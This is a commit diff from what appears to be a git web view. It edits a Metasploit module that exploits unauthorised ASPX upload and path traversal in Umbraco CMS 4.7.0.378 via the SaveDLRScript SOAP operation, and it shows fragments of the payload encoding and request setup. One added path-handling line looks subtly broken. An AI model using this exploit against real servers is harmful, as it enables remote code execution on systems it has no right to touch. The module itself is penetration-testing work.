User of TARGETURI plus improve of description
parent
7751c54a52
commit
9fecc80459
|
@ -17,24 +17,29 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
super(
|
super(
|
||||||
'Name' => 'Umbraco CMS Remote Command Execution',
|
'Name' => 'Umbraco CMS Remote Command Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module can be used to execute a payload on Umbraco CMS
|
This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
|
||||||
4.7.0.378. The payload is uploaded as an ASPX script by
|
The payload is uploaded as an ASPX script by sending a specially crafted
|
||||||
sending a specially crafted SOAP request to codeEditorSave.asmx,
|
SOAP request to codeEditorSave.asmx, which permits unauthorised file upload
|
||||||
which permits unauthorised file upload via the SaveDLRScript operation.
|
via the SaveDLRScript operation. SaveDLRScript is also subject to a path
|
||||||
SaveDLRScript is also subject to a path traversal vulnerability,
|
traversal vulnerability, allowing code to be placed into the web-accessible
|
||||||
allowing code to be placed into the web-accessible /umbraco/ directory.
|
/umbraco/ directory.
|
||||||
|
|
||||||
The module writes, executes and then overwrites an ASPX script; note that
|
The module writes, executes and then overwrites an ASPX script; note that
|
||||||
though the script content is removed, the file remains on the target.
|
though the script content is removed, the file remains on the target. Automatic
|
||||||
|
cleanup of the file is intended if a meterpreter payload is used.
|
||||||
|
|
||||||
|
This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
|
||||||
|
7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have
|
||||||
|
write permissions on the Windows Temp folder.
|
||||||
},
|
},
|
||||||
'Author' => [
|
'Author' => [
|
||||||
'Toby Clarke' # Vulnerability discovery and Metasploit module
|
'Toby Clarke' # Vulnerability discovery and Metasploit module
|
||||||
],
|
],
|
||||||
'Version' => '$Revision: $',
|
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ]
|
[ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ],
|
||||||
|
[ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons
|
||||||
],
|
],
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
|
@ -47,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('PATH', [ true, "The URI path of the Umbraco login page", '/umbraco'])
|
OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/'])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -94,7 +99,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# htmlentities like encoding
|
# htmlentities like encoding
|
||||||
aspx = aspx.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">")
|
aspx = aspx.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">")
|
||||||
|
|
||||||
uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/")
|
uri_path = target_uri.path
|
||||||
|
uri_path.path << "/" if uri_path[-1, 1] != "/"
|
||||||
|
|
||||||
@upload_random = rand_text_alpha(rand(6) + 6)
|
@upload_random = rand_text_alpha(rand(6) + 6)
|
||||||
|
|
||||||
soap = <<-eos
|
soap = <<-eos
|
||||||
|
|
Loading…
Reference in New Issue